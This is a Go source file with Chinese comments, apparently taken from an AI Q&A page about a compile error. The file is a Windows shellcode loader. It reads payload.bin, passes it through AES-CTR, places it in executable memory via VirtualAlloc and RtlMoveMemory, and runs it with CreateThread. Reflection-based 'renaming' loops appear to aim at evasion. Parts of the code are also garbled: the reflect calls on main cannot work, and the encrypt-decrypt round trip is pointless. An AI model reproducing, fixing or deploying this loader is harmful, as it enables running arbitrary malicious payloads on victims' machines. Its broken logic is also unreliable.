package main

import ( "crypto/aes" "crypto/cipher" "encoding/base64" "io/ioutil" "reflect" "strconv" "syscall" "time" "unsafe" )

const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 )

var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") ntdll = syscall.NewLazyDLL("ntdll.dll") VirtualAlloc = kernel32.NewProc("VirtualAlloc") RtlMoveMemory = ntdll.NewProc("RtlMoveMemory") CreateThread = kernel32.NewProc("CreateThread") )

var varNames = [][]string{ {"AesKey", "key", "src", "block", "iv", "stream", "dst"}, {"cipher", "key", "src"}, {"src", "payloadBytes", "encodedBytes", "bdata"}, {"src", "decodedBytes", "payloadBytes"}, {"charcode", "addr", "handle"}, {"filename", "data"}, {"payload", "encodedPayload", "shellCodeHex"}, }

func AesCipher(key []byte, src []byte) []byte { block, _ := aes.NewCipher(key) iv := make([]byte, aes.BlockSize) stream := cipher.NewCTR(block, iv) dst := make([]byte, len(src)) stream.XORKeyStream(dst, src) return dst }

// 定义一个加密函数类型 // 这样可以让 Crypt 函数接受不同类型的加密函数 // 例如你可能需要使用其他类型的加密算法 // 这时只需要定义新的函数类型并实现相应的加密逻辑即可 type CipherFunc func(key []byte, src []byte) []byte

// 加密函数 // 接受一个加密函数、密钥和数据作为参数 // 并返回加密后的数据 func Crypt(cipher CipherFunc, key []byte, src []byte) []byte { return cipher(key, src) }

// 编码函数 // 接受一个字符串和密钥作为参数 // 并返回编码后的字符串 func Encode(src string, key []byte) string { payloadBytes := []byte(src) encodedBytes := Crypt(AesCipher, key, payloadBytes) bdata := base64.StdEncoding.EncodeToString(encodedBytes) return bdata }

// 解码函数 // 接受一个编码后的字符串和密钥作为参数 // 并返回解码后的数据 func Decode(src string, key []byte) []byte { decodedBytes, _ := base64.StdEncoding.DecodeString(src) payloadBytes := Crypt(AesCipher, key, decodedBytes) return payloadBytes }

// 执行 shellcode // 接受一个 shellcode 字节数组作为参数 // 并将 shellcode 注入到内存并执行 func exec(charcode []byte) { addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) time.Sleep(5) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode))) time.Sleep(5) handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) time.Sleep(5) syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE) }

// 读取文件内容 // 接受一个文件名作为参数 // 并返回文件内容字节数组 func readFile(filename string) []byte { data, _ := ioutil.ReadFile(filename) return data }

// 主函数 // 读取 payload.bin 文件内容 // 编码 payload // 解码编码后的 payload // 执行解码后的 payload func main() { funcNames := []string{"AesCipher", "Crypt", "Encode", "Decode", "exec", "readFile", "main"} for i, name := range funcNames { newName := "func" + strconv.Itoa(i) reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName)) }

// 声明加密密钥
aesKey := []byte{
    0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
    0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
    0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}

// 遍历所有需要重命名的变量
// 将其名称改为 "var" + 序号
for _, vars := range varNames {
    for i, name := range vars {
        newName := "var" + strconv.Itoa(i)
        reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName))
    }
}

payload := string(readFile("./payload.bin"))
encodedPayload := Encode(payload, aesKey)
shellCodeHex := Decode(encodedPayload, aesKey)
exec(shellCodeHex)
Go 代码编译错误: undefined: AesKey 解决方案

原文地址: https://www.cveoy.top/t/topic/lKK6 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录